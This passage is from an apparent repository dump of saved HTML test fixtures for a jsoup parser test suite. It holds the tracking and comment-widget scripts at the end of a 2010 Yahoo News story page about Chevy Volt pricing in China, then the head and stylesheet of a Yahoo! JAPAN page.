src=\"http://us.bc.yahoo.com/b?P=PENKT2KIKjz0U5Bi.EoomABspUVaCEx9iNYABtx_&T=1avrl5dgt%2fX%3d1283295446%2fE%3d2023881070%2fR%3dnews%2fK%3d5%2fV%3d2.1%2fW%3dH%2fY%3dYAHOO%2fF%3d2667847401%2fH%3dY2FjaGVoaW50PSJuZXdzIiBjb250ZW50PSJpdDsgYnVzaW5lc3M7IHByaWNlOyB5dWFuOyBnb3Zlcm5tZW50OyBZdWFuOyIgc2VydmVJZD0iUEVOS1QyS0lLanowVTVCaS5Fb29tQUJzcFVWYUNFeDlpTllBQnR4XyIgc2l0ZUlkPSI0NDY0MDUxIiB0U3RtcD0iMTI4MzI5NTQ0NjUzNjAxMSIg%2fQ%3d-1%2fS%3d1%2fJ%3dF42A8862&U=12b0if0c5%2fN%3dCGJLBkoGYmQ-%2fC%3d-1%2fD%3dSIP%2fB%3d-1%2fV%3d0\"></noscript><script language=javascript>\nif(window.yzq_d==null)window.yzq_d=new Object();\nwindow.yzq_d['6WFLBkoGYmQ-']='&U=13hquttf0%2fN%3d6WFLBkoGYmQ-%2fC%3d289534.13891068.13879306.12123427%2fD%3dFOOT2%2fB%3d5304694%2fV%3d1';\n</script><noscript><img width=1 height=1 alt=\"\" src=\"http://us.bc.yahoo.com/b?P=PENKT2KIKjz0U5Bi.EoomABspUVaCEx9iNYABtx_&T=1av5ub2nm%2fX%3d1283295446%2fE%3d2023881070%2fR%3dnews%2fK%3d5%2fV%3d2.1%2fW%3dH%2fY%3dYAHOO%2fF%3d4080607869%2fH%3dY2FjaGVoaW50PSJuZXdzIiBjb250ZW50PSJpdDsgYnVzaW5lc3M7IHByaWNlOyB5dWFuOyBnb3Zlcm5tZW50OyBZdWFuOyIgc2VydmVJZD0iUEVOS1QyS0lLanowVTVCaS5Fb29tQUJzcFVWYUNFeDlpTllBQnR4XyIgc2l0ZUlkPSI0NDY0MDUxIiB0U3RtcD0iMTI4MzI5NTQ0NjUzNjAxMSIg%2fQ%3d-1%2fS%3d1%2fJ%3dF42A8862&U=13hquttf0%2fN%3d6WFLBkoGYmQ-%2fC%3d289534.13891068.13879306.12123427%2fD%3dFOOT2%2fB%3d5304694%2fV%3d1\"></noscript>    </div>\n</div>\n\n    \n    </div><!-- end: #doc4 -->\n    \n    \n<script type=\"text/javascript\" src=\"http://l.yimg.com/d/combo?yui/2.7.0/build/yahoo/yahoo-min.js&yui/2.7.0/build/event/event-min.js&yui/2.7.0/build/dom/dom-min.js&yui/2.7.0/build/get/get-min.js&yui/2.7.0/build/animation/animation-min.js&yui/2.7.0/build/json/json-min.js&yui/2.7.0/build/connection/connection-min.js&yui/2.7.0/build/datasource/datasource-min.js&yui/2.7.0/build/selector/selector-min.js&yui/2.7.0/build/cookie/cookie-min.js&yui/2.7.0/build/container/container-min.js&uh/15/js/uh_rsa-1.0.9.js&news/p/common/generic/common_base_rollup-min-29176.js&news/p/common/generic/common_page_rollup-min-26267.js&media/m/location_widget/location_widget-min-22834.js&news/p/common/generic/filter-reload-local-viewer-filter_init-reload_init-min-38036.js&s5/miniassist_200912081429.js&news/p/story/generic/mediabuzz-story-min-39391.js&news/p/common/generic/foundation/im-min-6761.js&news/p/common/generic/foundation/popup-min-12622.js&news/p/common/generic/im_init-min-12623.js&news/p/common/generic/popup_init-min-12623.js&news/p/common/generic/yui3-min-36486.js&yui/2.7.0/build/imageloader/imageloader-min.js&yui/2.7.0/build/container/container_core-min.js&yui/2.7.0/build/element/element-min.js&media/phugc/mwphcom_min_r1413.js\"></script>\n\n                    <script type=\"text/javascript\">\n                        (function () {\n                            var sa;\n                            if (YAHOO.Search && YAHOO.Search.MiniAssist) {\n                                sa = new YAHOO.Search.MiniAssist('yn-search-assist');\n                                sa.gossip.setConfigValue('pubid', 104);\n                            }\n                        })();\n                    </script>\n                \n\n                    <!-- Kontera ContentLink(TM);-->\n                    <script type=\"text/javascript\">\n                        var dc_PublisherID  = '139449'; // use string to avoid syntax error\n                        var dc_ChannelID    = '749';\n                        var dc_ArticleDate  = ':nm:20100831:bs_nm:us_gm_china_1';\n                        var HTTP_KONA       = 'http://l.yimg.com/d/lib/news/projects/story/kontera/20100726';\n                        var HTTP_KONAC      = HTTP_KONA;\n                        var KONA_BEACON_URL = 'http://geo.yahoo.com/b?s=2143083931&amp;t=%t%';\n\n                        //parse string back to number\n                        dc_PublisherID = parseInt(dc_PublisherID);\n                        dc_ChannelID = parseInt(dc_ChannelID);\n                    </script>\n                    <script type=\"text/javascript\" src=\"http://l.yimg.com/d/lib/news/projects/story/kontera/20100726/javascript/lib/konterayahoooo.js\"></script>\n                    <!-- Kontera ContentLink(TM) -->\n                \n\n                        <script type=\"text/javascript\">\n                        (function() {\n                            // Set spaceid for page\n                            YAHOO.News.SPACEID = '2023881070';\n                            // Timestamp\n                            YAHOO.News.TIMESTAMP = '1283295446';\n                            // model.User signed in\n                            YAHOO.News.USER_SIGNED_IN = '0';\n                            // model.User Crumb Recommend\n                            YAHOO.News.USER_CRUMB_RECOMMEND = 'g/J7qV7knFx';\n                            // Set page type\n                            YAHOO.News.PAGE_TYPE = 'story';\n                            // Pageview page 2 for expand/collapse roundtrip and comscore\n                            YAHOO.News.PAGEVIEW_PAGE2 = '/s/nm/20100831/bs_nm/us_gm_china/page2';\n                            // Pageview page 2 comscore tracking (use env var to set this flag)\n                            YAHOO.News.PAGEVIEW_PAGE2_TRACKING = '0';\n                            // Track pageview for story and most viewed data\n                            YAHOO.News.PAGEVIEW_MOST_VIEWED = new YAHOO.News.Pageview('/news/common/pages/generic/pageview/nm:20100831:bs_nm:us_gm_china/749/');\n                            // Darla URL\n                            YAHOO.News.DARLA_URL = '/news/common/pages/generic/darla/fc';\n                            // Darla Keywords\n                            YAHOO.News.DARLA_KEYWORDS = 'it; business; price; yuan; government; Yuan;';\n                            // Referrer\n                            YAHOO.News.DARLA_REFERRER = '';\n                            // Domain value for cookies\n                            YAHOO.News.COOKIE_DOMAIN = '.news.yahoo.com';\n                            // if in single-url mode (url is news.yahoo.com) then call hidden iframe for pageview\n                            if (window.location.href == \"http://news.yahoo.com/\") {\n                                // Pageview beacon url for comscore\n                                YAHOO.News.PAGEVIEW_BEACON = '/s/b/nm/20100831/bs_nm/us_gm_china/';\n                                // Hidden iframe\n                                YAHOO.News.PAGEVIEW_IFRAME = new YAHOO.News.Pageview(YAHOO.News.PAGEVIEW_BEACON);\n                            }\n                        })();\n                        </script>\n                    \n\n<script type=\"text/javascript\" src=\"http://l.yimg.com/d/combo?media/m/social_buttons/social-buttons-easy-min-3602.js\"></script>\n        <script language=\"javascript\">\n        \n    if(!(\"Media\" in YAHOO)){YAHOO.Media = {};}\n    if(!(\"MwPhCom\" in YAHOO.Media)){YAHOO.Media.MwPhCom = {};}\n    YAHOO.Media.MwPhCom.coms = new YAHOO.phugcmwpcmt.comments({\n        asset_id:\"nmus_gm_china\",\n        asset_cat:\"headcontent\",\n        login_url:\"http://login.yahoo.com/config/login?.src=yn&.intl=us&.done=http%3A%2F%2Fnews.yahoo.com%2Fs%2Fnm%2F20100831%2Fbs_nm%2Fus_gm_china\",\n        section:\"main\",\n        sServiceUrl:\"/news/common/maple/en-US\",\n        sAppLang:\"en-US\",\n        sAbuseUrl:\"http://help.yahoo.com/l/us/yahoo/news/forms/abuse_articles.html\",\n        sCharCountAllowed:\"4000\",\n        rating_type:\"up_down\",\n        rating_url:\"mwphucmtrate\",\n        sParentAssetUrl:\"http%3A%2F%2Fnews.yahoo.com%2Fs%2Fnm%2F20100831%2Fbs_nm%2Fus_gm_china\",\n        sParentAssetTitle:\"Dummy\",\n        sVitalityProperty:\"y.news\",\n        sVitalityRating:\"0\",\n        sVitalityRatingType:\"0\",\n        sVitalityPosting:\"1\",\n        sAllowReply:\"1\",\n        sDisclosureProp:\"y.news\",\n        sDisclosureRateEvent:\"genericrate\",\n        sVitalityConsumption:\"0\",\n        sUltBeaconSec:\"na\",\n        sPostingDisabled:\"N\",        \n        sUltBeaconSpID:\"2142428251\",\n        sUltBeaconEnable:\"1\",\n        sUtlBeaconRcdPgVew:\"0\",        \n        sUltBeaconProp:\"news\",\n        sSortOptionDisp:\"Newest First\",\n        sYuiBasePath:\"yui/2.7.0/build/\",\n        sCmtGuideLineUrl:\"http://help.yahoo.com/l/us/yahoo/news/comments/comment-guidelines.html\",\n        sPostCrumb:\"dJlYyrqFpdz\",\n        sSortBy:\"date\",\n        sSortOrder:\"desc\",\n        sStartForm:\"1\",\n        sFilterBy:\"\",\n        sAssetExcerpt:\"VGhpcyBpcyBleGNlcnB0IiBvZiBhcnRpY2xlIA==\",\n        sAssetImgURL:\"\",\n        sAssetBlogName:\"\",\n        sAssetImgSige:\"\",\n        sAssetAuthor:\"\",\n        sAssetTypeVita:\"aGVhZGNvbnRlbnQ=\",\n        sAssetSource:\"\",\n        sIsDegraded:\"false\",\n        sPostActionUrl:\"/news/common/maple/en-US/mwphucmtpost\",\n        vitaMeta:{\n                \"vmeta_mandatory\":{\n                             \"asset_type\": \"article\" ,\n                             \"prop_source\": \"y.news\",\n                             \"target_return_url\":\"http%3A%2F%2Fnews.yahoo.com%2Fs%2Fnm%2F20100831%2Fbs_nm%2Fus_gm_china\"\n                            } ,\n                  \"vmeta_trg_imgt_opt\":{\n                              \"target_img_url\": \"\",\n                              \"target_img_height\": \"0\",\n                              \"target_img_width\":\"0\",\n                              \"target_img_rights\":\"public\"\n                            } ,\n                  \"vmeta_trg_title_opt\":{\n                              \"target_title\": \"GM+expects+competitive+Chevy+Volt+pricing+in+China\",\n                              \"target_url\": \"http%3A%2F%2Fnews.yahoo.com%2Fs%2Fnm%2F20100831%2Fbs_nm%2Fus_gm_china\"\n                            } ,\n                  \"vmeta_testing\":{\n                              \"update_variant\": \"\",\n                              \"update_transform\": \"\"\n                            },\n                      \"vmeta_article_opt\":{\n                                 \"article_source\": \"\",\n                                 \"article_author\": \"\",\n                                 \"article_description\":\"General+Motors+expects+competitive+pricing+for+its+electric+Chevrolet+Volt+in+China+as+it+hopes+to+gain+a+foothold+in+China%26%2339%3Bs+fledgling+environmentally+friendly+car+industry+with+the+highly+anticipated+car.\"\n                               }\n        },\n        oL10n:{\n            \"CHARACTERS_LEFT\":\"{0} characters remaining\",\n            \"CHARACTER_LEFT\":\"{0} character remaining\",\n            \"SIGN_IN\":\"Sign in\",\n            \"TO_RATE\":\"to rate\",\n            \"THANK_YOU\":\"Thank You!\",\n            \"COMMENTS_POST_SUCESS_PRV_MSG\":\"Your comment has been received and should be available shortly. A preview is shown here.\",\n            \"POST_ANOTHER_COMMENT\":\"Post Another Comment\",\n            \"POST_ANOTHER_REPLY\":\"Post Another Reply\",\n            \"A_SECOND_AGO\":\"a second ago\",\n            \"THANK_YOU\":\"Thank You!\",\n            \"COMMENTS_REPLY_SUCESS_PRV_MSG\":\"Your reply has been received and should be available shortly. A preview is shown here.\",\n            \"POST_GENERIC_ERROR\":\"We apologize. An error has occurred. Please try again.\",\n            \"FETCHING_UPDATES\":\"Fetching updates...\",\n            \"SERVER_ERROR\":\"Server Error\",\n            \"POSTING\":\"Posting\",\n            \"NO_COMMENTS_ERR\":\"Please enter a comment\",\n            \"REQUEST_FAILED\":\"An internal error has occurred\",\n            \"NO_UPDATE_AVAILAVLE\":\"No Updates available\",\n            \"SIGN_IN_TO_RATE\":\"Please sign in to rate!\",\n            \"RATE_SIGN_IN_TXT\":\"<p>Signing in ensures ratings are counted accurately and prevents system abuse.</p><p><a href=\\\"http://login.yahoo.com/config/login?.src=yn&.intl=us&.done=http%3A%2F%2Fnews.yahoo.com%2Fs%2Fnm%2F20100831%2Fbs_nm%2Fus_gm_china\\\">Sign in to rate</a> or, <a href=\\\"http://edit.yahoo.com/config/eval_register?.src=yn&.intl=us&.done=http%3A%2F%2Fnews.yahoo.com%2Fs%2Fnm%2F20100831%2Fbs_nm%2Fus_gm_china\\\">sign up</a> for a new account.</p>\",\n            \"CLOSE_LINK_TXT\":\"Close this message\",\n            \"REPLY_LINK_TXT\":\"Reply\",\n            \"COLLAPSE_REPLIES\":\"Collapse Replies\",\n            \"VIEW_ALL_REPLIES\":\"View all {0} Replies\",\n            \"VIEW_ALL_REPLY\":\"View all  {0} Reply\",\n            \"COMMENT_GUIDELINES\":\"Comment Guidelines\",\n            \"CANCEL_BTN_TXT\":\"Clear\",\n            \"POST_REPLY\":\"Post Reply\",\n            \"REPLY_TO_CONVERSTION\":\"Reply to Above Conversation\",\n            \"PLZ_ENTER_COMMENT\":\"Please Enter a Comment\",\n            \"ANONYMOUS_DISP_TXT\":\"A Yahoo! model.User\",\n            \"POST_CMT_DISABLED\":\"Comments have been closed for this article\",\n            \"REPLIES_LINK_TXT\":\"Replies\"\n    }\n            ,bRecordPageviews:true,\n            nSpaceId:\"\"\n            \n    });\n    YAHOO.namespace(\"phugcmaplecomt.container\");\n    \n    YAHOO.util.Event.addListener(window, \"load\",\n        function(){\n            if(YAHOO.Updates != undefined){\n                if(YAHOO.Updates.Disclosure.manager != undefined){\n                    YAHOO.Updates.Disclosure.manager.registerPostLinkCallback({\"fn\":\n                        function() {YAHOO.Media.MwPhCom.coms.reValidateCrumb=true;}});\n                }\n            }    \n        });\n    \n        </script>\n    \n    <!-- Ad Keywords: it; business; price; yuan; government; Yuan;-->\n<!-- SpaceID=2023881070 loc=RICH noad -->\n<script language=javascript>\nif(window.yzq_d==null)window.yzq_d=new Object();\nwindow.yzq_d['AmJLBkoGYmQ-']='&U=12c6qq6lb%2fN%3dAmJLBkoGYmQ-%2fC%3d-1%2fD%3dRICH%2fB%3d-1%2fV%3d0';\n</script><noscript><img width=1 height=1 alt=\"\" src=\"http://us.bc.yahoo.com/b?P=PENKT2KIKjz0U5Bi.EoomABspUVaCEx9iNYABtx_&T=1auc2qelt%2fX%3d1283295446%2fE%3d2023881070%2fR%3dnews%2fK%3d5%2fV%3d2.1%2fW%3dH%2fY%3dYAHOO%2fF%3d307824506%2fH%3dY2FjaGVoaW50PSJuZXdzIiBjb250ZW50PSJpdDsgYnVzaW5lc3M7IHByaWNlOyB5dWFuOyBnb3Zlcm5tZW50OyBZdWFuOyIgc2VydmVJZD0iUEVOS1QyS0lLanowVTVCaS5Fb29tQUJzcFVWYUNFeDlpTllBQnR4XyIgc2l0ZUlkPSI0NDY0MDUxIiB0U3RtcD0iMTI4MzI5NTQ0NjUzNjAxMSIg%2fQ%3d-1%2fS%3d1%2fJ%3dF42A8862&U=12c6qq6lb%2fN%3dAmJLBkoGYmQ-%2fC%3d-1%2fD%3dRICH%2fB%3d-1%2fV%3d0\"></noscript>\n    \n    <!-- Ad Keywords: it; business; price; yuan; government; Yuan;-->\n<!-- SpaceID=2023881070 loc=FSRVY noad -->\n<script language=javascript>\nif(window.yzq_d==null)window.yzq_d=new Object();\nwindow.yzq_d['6mFLBkoGYmQ-']='&U=12dg4geec%2fN%3d6mFLBkoGYmQ-%2fC%3d-1%2fD%3dFSRVY%2fB%3d-1%2fV%3d0';\n</script><noscript><img width=1 height=1 alt=\"\" src=\"http://us.bc.yahoo.com/b?P=PENKT2KIKjz0U5Bi.EoomABspUVaCEx9iNYABtx_&T=1avo0rhda%2fX%3d1283295446%2fE%3d2023881070%2fR%3dnews%2fK%3d5%2fV%3d2.1%2fW%3dH%2fY%3dYAHOO%2fF%3d3716110208%2fH%3dY2FjaGVoaW50PSJuZXdzIiBjb250ZW50PSJpdDsgYnVzaW5lc3M7IHByaWNlOyB5dWFuOyBnb3Zlcm5tZW50OyBZdWFuOyIgc2VydmVJZD0iUEVOS1QyS0lLanowVTVCaS5Fb29tQUJzcFVWYUNFeDlpTllBQnR4XyIgc2l0ZUlkPSI0NDY0MDUxIiB0U3RtcD0iMTI4MzI5NTQ0NjUzNjAxMSIg%2fQ%3d-1%2fS%3d1%2fJ%3dF42A8862&U=12dg4geec%2fN%3d6mFLBkoGYmQ-%2fC%3d-1%2fD%3dFSRVY%2fB%3d-1%2fV%3d0\"></noscript>\n    \n    \n\n    <!-- Ad Keywords: it; business; price; yuan; government; Yuan;-->\n<!-- SpaceID=2023881070 loc=UMU noad -->\n<script language=javascript>\nif(window.yzq_d==null)window.yzq_d=new Object();\nwindow.yzq_d['A2JLBkoGYmQ-']='&U=12b0t7l5l%2fN%3dA2JLBkoGYmQ-%2fC%3d-1%2fD%3dUMU%2fB%3d-1%2fV%3d0';\n</script><noscript><img width=1 height=1 alt=\"\" src=\"http://us.bc.yahoo.com/b?P=PENKT2KIKjz0U5Bi.EoomABspUVaCEx9iNYABtx_&T=1auafelf4%2fX%3d1283295446%2fE%3d2023881070%2fR%3dnews%2fK%3d5%2fV%3d2.1%2fW%3dH%2fY%3dYAHOO%2fF%3d114722436%2fH%3dY2FjaGVoaW50PSJuZXdzIiBjb250ZW50PSJpdDsgYnVzaW5lc3M7IHByaWNlOyB5dWFuOyBnb3Zlcm5tZW50OyBZdWFuOyIgc2VydmVJZD0iUEVOS1QyS0lLanowVTVCaS5Fb29tQUJzcFVWYUNFeDlpTllBQnR4XyIgc2l0ZUlkPSI0NDY0MDUxIiB0U3RtcD0iMTI4MzI5NTQ0NjUzNjAxMSIg%2fQ%3d-1%2fS%3d1%2fJ%3dF42A8862&U=12b0t7l5l%2fN%3dA2JLBkoGYmQ-%2fC%3d-1%2fD%3dUMU%2fB%3d-1%2fV%3d0\"></noscript>\n    \n</body>\n</html>\n\n\n\n\n\n\n<!-- news:story-us:0:Success -->\n<script language=javascript>\nif(window.yzq_p==null)document.write(\"<scr\"+\"ipt language=javascript src=http://l.yimg.com/d/lib/bc/bc_2.0.4.js></scr\"+\"ipt>\");\n</script><script language=javascript>\nif(window.yzq_p)yzq_p('P=PENKT2KIKjz0U5Bi.EoomABspUVaCEx9iNYABtx_&T=1aq2ijvp6%2fX%3d1283295446%2fE%3d2023881070%2fR%3dnews%2fK%3d5%2fV%3d1.1%2fW%3dJ%2fY%3dYAHOO%2fF%3d2016075161%2fH%3dY2FjaGVoaW50PSJuZXdzIiBjb250ZW50PSJpdDsgYnVzaW5lc3M7IHByaWNlOyB5dWFuOyBnb3Zlcm5tZW50OyBZdWFuOyIgc2VydmVJZD0iUEVOS1QyS0lLanowVTVCaS5Fb29tQUJzcFVWYUNFeDlpTllBQnR4XyIgc2l0ZUlkPSI0NDY0MDUxIiB0U3RtcD0iMTI4MzI5NTQ0NjUzNjAxMSIg%2fS%3d1%2fJ%3dF42A8862');\nif(window.yzq_s)yzq_s();\n</script><noscript><img width=1 height=1 alt=\"\" src=\"http://us.bc.yahoo.com/b?P=PENKT2KIKjz0U5Bi.EoomABspUVaCEx9iNYABtx_&T=1avc6057a%2fX%3d1283295446%2fE%3d2023881070%2fR%3dnews%2fK%3d5%2fV%3d3.1%2fW%3dJ%2fY%3dYAHOO%2fF%3d2663170160%2fH%3dY2FjaGVoaW50PSJuZXdzIiBjb250ZW50PSJpdDsgYnVzaW5lc3M7IHByaWNlOyB5dWFuOyBnb3Zlcm5tZW50OyBZdWFuOyIgc2VydmVJZD0iUEVOS1QyS0lLanowVTVCaS5Fb29tQUJzcFVWYUNFeDlpTllBQnR4XyIgc2l0ZUlkPSI0NDY0MDUxIiB0U3RtcD0iMTI4MzI5NTQ0NjUzNjAxMSIg%2fQ%3d-1%2fS%3d1%2fJ%3dF42A8862\"></noscript>\n<!-- fe5.story.media.sp1.yahoo.com compressed Tue Aug 31 15:57:26 PDT 2010 -->\n"
  },
  {
    "path": "jun_java_plugins/jun_jsoup/src/test/resources/htmltests/yahoo-jp.html",
    "content": "<!DOCTYPE HTML PUBLIC \"-//W3C//DTD HTML 4.01 Transitional//EN\" \"http://www.w3.org/TR/html4/loose.dtd\">\n<html lang=\"ja\">\n<head>\n<meta http-equiv=\"content-type\" content=\"text/html; charset=utf-8\">\n<meta http-equiv=\"content-style-type\" content=\"text/css\">\n<meta http-equiv=\"content-script-type\" content=\"text/javascript\">\n<meta name=\"description\" content=\"日本最大級のポータルサイト。検索、オークション、ニュース、メール、コミュニティ、ショッピング、など80以上のサービスを展開。あなたの生活をより豊かにする「ライフ・エンジン」を目指していきます。\">\n<title>Yahoo! JAPAN</title>\n<base href=\"http://www.yahoo.co.jp/_ylh=X3oDMTB0NWxnaGxsBF9TAzIwNzcyOTYyNjUEdGlkAzEyBHRtcGwDZ2Ex/\">\n<style type=\"text/css\"><!--\nbody,div,dl,dt,dd,ul,ol,li,h1,h2,h3,h4,h5,h6,pre,form,fieldset,input,p,blockquote{margin:0;padding:0;}fieldset,img{border:0;}table{border-collapse:collapse;border-spacing:0;}address,caption,cite,code,dfn,em,th,var{font-style:normal;font-weight:normal;}ol,ul{list-style:none;}.separate,.floatingw,legend{display:none;}button{cursor:pointer;}body{font-family:\"MS PGothic\",\"Osaka\",Arial,sans-serif;line-height:1.22;font-size:12px;text-align:center;}table{font-size:inherit;font:100%;}pre,code,kbd,samp,tt{font-family:monospace;line-height:99%;}h1,h2,h3,h4,h5{font-size:100%;}.contentbox2nd h2,#spotlight h2{font-size:131%;}#emg table{font-size:115%;}span.assist,#topicsboxbd em,#topicsboxbd cite,#vdobd em{font-size:85%;}#contentbox h2,#csr h2,#local h2 span,#personalbox h3{font-weight:normal;}a,ul.tab a:visited{color:#1d3994;text-decoration:none;}a:visited{color:#941d55;}a:hover{text-decoration:underline;}button{cursor:pointer;}#wrapper{position:relative;min-width:950px;width:74.2em;*width:71.2em;margin:0 auto;}#header{position:relative;z-index:8;padding-bottom:4px;*zoom:1;}#header:after{content:\"\";display:block;clear:both;}#contents{text-align:left;overflow:hidden;*zoom:1;}#navi{float:left;position:relative;z-index:8;width:17.94%;min-width:170px;}#division{float:right;position:relative;z-index:2;min-width:770px;width:81%;}#main{float:left;min-width:410px;width:53.3%;}#sub{float:right;min-width:350px;width:45.45%;}.item li,.emphasis li,.connect li,.ranking li,.pldwn,.plup,.bgD,.iconNew,.iconPhoto,.iconVideo,.iconNotice,.close a,.ulmwindow .ulmwindowsearch button,.vdotmp2,#srchAssistOnOff dd,#pbfortune .floatingw li a,#pblogininfo li a,#yahooservice ul li a,#pbsocial p a,#pbsocialInfo,#pbsocial dd a,#topicsbox .tab li span,#yjidbox h2 a,#pbproperty .shortcut li a,#pbproperty .connect #mailicon,#srchSwitch dd,#contentbox .hd .cbbtn a,#changeMode,#changeMode a{background-image:url(http://k.yimg.jp/images/top/sp2/cmn/pic_all-091118.png);background-repeat:no-repeat;}.bx li{margin:7px 0;}.bx,.bxEx{position:relative;margin-bottom:10px;background-color:#fff;border:1px solid;}.bxEx{margin-top:-11px;}.bxNa{margin-bottom:10px;text-align:center;}.bxSl{overflow:hidden;*zoom:1;padding:7px 7px 3px;}.bxSl h2{margin-bottom:5px;float:left;clear:left;}.bxSl ul{margin-bottom:5px;overflow:hidden;*zoom:1;}.bxSl li{float:left;margin:0;padding-left:0.8em;}.bxSl .more{float:right;}.hd{border-bottom:1px solid;background-color:#fff;background-position:0 -200px;overflow:hidden;*zoom:1;}.hd h2{padding:3px 7px 2px;border:1px solid #fff;border-width:0 1px;}.hd h3{position:absolute;right:10px;top:3px;font-weight:normal;}.bgC{clear:both;padding:4px 5px 4px 10px;border:1px solid;}.bgC li{display:inline;margin-left:1em;}.bgC .first{margin-left:0;}.bgD{background-position:0 -2840px;background-repeat:repeat-x;}.bgI{background-color:#fefbc4;border:1px solid #ffcc01;}.close a{padding-right:20px;background-position:100% -1750px;color:#fff;cursor:pointer;text-decoration:underline;}.clfix{*zoom:1;}.clfix:after{content:\"\";display:block;clear:both;}.item li{padding-left:13px;background-position:0 -1447px;}.emphasis li{padding-left:13px;background-position:0 -1487px;}.connect li{display:inline;padding-left:13px;background-position:0 -1531px;}.connect .first{padding-left:0;background:none;}.symbol a{padding-left:12px;background-repeat:no-repeat;background-position:0 -872px;}.ranking li{padding-left:18px;}.ranking .rnk1{background-position:0 -2040px;}.ranking .rnk2{background-position:0 -2080px;}.ranking .rnk3{background-position:0 -2120px;}.ranking .rnk4{background-position:0 -2160px;}.ranking .rnk5{background-position:0 -2200px;}.ranking .rnk6{background-position:0 -2240px;}.ranking .rnk7{background-position:0 -2280px;}.ranking .rnk8{background-position:0 -2320px;}.ranking .rnk9{background-position:0 -2360px;}.ranking .rnk10{background-position:0 -2400px;}.pldwn,.plup{margin-right:2px;padding-right:13px;background-position:100% -1571px;background-repeat:no-repeat;color:#000;}.plup{background-position:100% -1611px;}.pldwn:visited,.plup:visited{color:#000;}.tab:after{content:\"\";display:block;clear:both;}.tab .on{font-weight:bold;}.tab .first{border-left:0;}.tab li a{outline:none;}.tab .on a,.tab .on a:visited{color:#000;text-decoration:none;}.assist a,.assist a:hover,.assist a:visited{display:block;padding:0 2px;text-decoration:none;}.assist{display:inline-block;border-style:solid;border-width:0 1px 1px 0;}.assist a,.assist a:visited{border:1px solid #9baab1;background:#fff;color:#000;}.assist a:hover{background-color:#ffeb7d;}.imgfilter{display:block;background:no-repeat 0 0;text-indent:-9999px;overflow:hidden;}.bkNum{padding:6px 10px 4px;}.bkNum h3{display:none;float:left;margin:0;}.bkNum dl{float:right;}.bkNum dt,.bkNum dd{float:left;line-height:1;margin-left:3px;}.bkNum dt{padding-top:2px;}.bkNum dd a{display:block;background-color:#fff;padding:2px 4px 1px 5px;outline:none;}.bkNum dd a:hover{text-decoration:none;background-color:#1d3994;color:#fff;}.bkNum dd a.on{background-color:#eee;color:#000;font-weight:bold;cursor:default;}.bkNum dd a.on:hover{background-color:#eee;color:#000;}.overlay{position:absolute;z-index:9;background:#000;filter:alpha(opacity=10);-ms-filter:\"alpha(opacity=10)\";opacity:0.1;}.iconNew,.iconPhoto,.iconVideo,#contentbox ul li .iconNotice{display:inline-block;margin-left:2px;text-indent:-9999px;outline:none;*vertical-align:middle;}.iconNew{background-position:0 -57px;height:11px;width:25px;}.iconPhoto{background-position:-37px -60px;height:15px;width:15px;margin-bottom:-1px;}.iconVideo{background-position:0 -78px;height:15px;width:15px;}#contentbox ul li .iconNotice{background-position:0 -1913px;padding:0;width:16px;height:14px;}#hdBar{position:absolute;z-index:9;top:-1.5em;margin-top:-1px;left:0;width:100%;}#masthead{position:relative;z-index:1;margin-top:1.6em;*margin-top:1.4em;*zoom:1;}h1{position:relative;z-index:5;width:950px;margin:0 auto;text-align:center;min-height:82px;}h1 img{margin:11px 0 10px;}h1 .deco{margin:1px 0;}#mhicon{position:absolute;left:50%;top:0;z-index:6;}#mhicon li{position:absolute;}#mhi1st{left:-365px;}#mhi2nd{left:-284px;}#mhi3rd{left:-203px;}#mhi4th{left:149px;}#mhi5th{left:230px;}#mhi6th{left:311px;}#mhicon li a{width:54px;height:54px;margin-top:15px;display:block;text-indent:-9999px;overflow:hidden;}#mhi1st a{background-position:0 -3900px;}#mhi2nd a{background-position:0 -3954px;}#mhi3rd a{background-position:0 -4008px;}#mhi4th a{background-position:0 -4062px;}#mhi5th a{background-position:0 -4116px;}#mhi6th a{background-position:0 -4170px;}#siteinfo{position:absolute;z-index:7;top:12px;right:10px;text-align:left;}#siteinfo li{padding-bottom:2px;}#emergency{margin:5px 0 10px;text-align:center;}#emergency .alert{color:#f00;}#emg{margin:0 auto;text-align:center;line-height:1.2;}#emg table{margin:0 auto 10px;}#emg table table{margin-bottom:0;}#emg br{display:none;}#searchbox{background-position:0 -1540px;*zoom:1;}#searchbox form{background-position:0 -1650px;background-repeat:no-repeat;}#searchbox fieldset{background-position:100% -1760px;background-repeat:no-repeat;}#srchbd{position:relative;width:48.8%;min-height:40px;margin:0 auto;padding:13px 0 20px;*padding:16px 0 17px;text-align:left;}#srchbd .tab{margin-bottom:5px;min-height:14px;_height:14px;}#srchbd .tab li{display:inline;padding:0 5px;border-left:1px solid #ccc;overflow:hidden;}#srchbd .tab li.first{padding-left:0;border-left:0;}#srchbd p{clear:both;overflow:hidden;}#srchtxtBg{line-height:0;width:74.4%;min-width:346px;display:block;float:left;border:solid #7c7c7c;border-width:1px 0 0 1px;*zoom:1;}#srchtxt{float:left;width:100%;_width:97.5%;*height:16px;min-height:16px;padding:2px 5px 3px;border:1px solid #c3c3c3;background-color:#fff;}#srchbtn{float:left;width:24.5%;padding:3px 0 2px;border:1px solid;background-position:0 -801px;font-weight:bold;letter-spacing:0.5em;min-height:23px;cursor:pointer;}#srchAssist{clear:left;width:74.8%;min-width:347px;position:absolute;top:73.5%;*top:77%;_top:74%;}#srchAssistBd{border:solid #7c7c7c;border-width:1px 2px 0 1px;background-color:#fff;*zoom:1;}#srchAssist li{line-height:1;}#srchAssist li a{color:#000;padding:4px 6px 5px;*padding:4px;display:block;cursor:pointer;*zoom:1;}#srchAssist li .on{background-color:#1d3994;color:#fff;}#srchAssistTxt{padding:3px 5px 3px 5px;}#srchAssistOnOff{padding:3px 8px 1px 0;white-space:nowrap;color:#555;font-size:85%;text-align:right;line-height:0;}#srchAssistOnOff dt{display:inline;line-height:1;}#srchAssistOnOff dd{display:inline;line-height:1;padding-left:13px;background-position:0 -1533px;font-weight:bold;color:#000;*zoom:1;}#srchAssistOnOff dd a{font-weight:normal;}#srchAssistOnOff dd.first{background:none;}#srchAssistClose,#srchacb,#srchAssistClose span{display:block;height:11px;background-repeat:no-repeat;cursor:pointer;overflow:hidden;line-height:0;text-indent:-9999px;}#srchAssistClose{background-position:100% -4269px;}#srchacb{background-position:0 -4225px;}#srchAssistClose span{margin:0 2px 0 45px;background-repeat:repeat-x;background-position:100% -4247px;}#srchAssistClose.on{background-position:100% -4280px;}.on #srchacb{background-position:0 -4236px;}#srchAssistClose.on span{background-position:100% -4258px;}#uhd{position:relative;height:1.5em;border:1px 